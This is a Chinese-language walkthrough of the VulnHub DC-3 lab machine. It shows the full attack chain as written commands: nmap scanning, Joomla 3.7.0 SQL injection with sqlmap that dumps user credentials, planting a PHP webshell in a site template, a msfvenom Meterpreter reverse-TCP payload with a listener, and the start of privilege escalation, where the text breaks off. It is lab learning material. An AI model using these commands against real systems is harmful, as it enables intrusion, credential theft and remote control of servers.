介绍
系列: DC(此系列共10台) 发布日期:2020年4月25日 难度:初级-中级 Flag:获取root权限并读取唯一的Flag 学习:
靶机地址:https://www.vulnhub.com/entry/dc-32,312/ 从靶场得到提示信息:
信息收集
主机发现
netdiscover主机发现 对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
netdiscover -i eth0 -r 192.168.1.0/24

主机信息探测
信息探测:nmap -A -p- 192.168.1.101 ,开放了80端口 
访问网站
看网站图标,直接知道是joomla的cms 
Joomla漏扫网站,发现了cms版本:3.7.0;发现后台地址:http://192.168.1.101/administrator/ 
漏洞发现
发现此版本的cms存在漏洞,并且利用脚本提供了利用方式。
searchsploit Joomla 3.7.0
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

尝试访问一下利用的代码提供的地址,发现确实存在漏洞:
http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

Sqlmap注入
- 列举数据库名:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbs

- 获知当前数据库名字,得知是:joomladb
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --current-db

- 获取 joomladb 数据库的表名有哪些。猜测应该是下图红框中的表。
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables

- 获取
#__users 表中的列:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" --columns


- 获取表中的数据:
sqlmap -u "http://192.168.1.101/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C "name,password" --dump

- 破解密码。得到:snoopy

挂马
寻找可以上传木马的地方 
这里随意点开一个站点 



接下来的情况,就是同之前的靶场 DC8 、DC7 一样了。由于webshell管理工具的字体大小、背景颜色不便于截图展示,所以我这里还是用msf来做吧。这里比较大的一个问题是怎么连接上msf,因为这个php页面不知道怎么打开,经过分析观察后注意到上图红框中的内容,猜测出路径应该是:http://192.168.1.101/templates/beez3/nima.php
生成后门
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.118 lport=4444 -f raw
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.118
exploit
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

提权
发现靶场的版本较低,可能存在漏洞 
发现本地提权漏洞 
查看利用说明:cat /usr/share/exploitdb/exploits/linux/local/39772.txt 发现利用地址: 
下载文件,kali开启web服务供靶机下载下来。 
|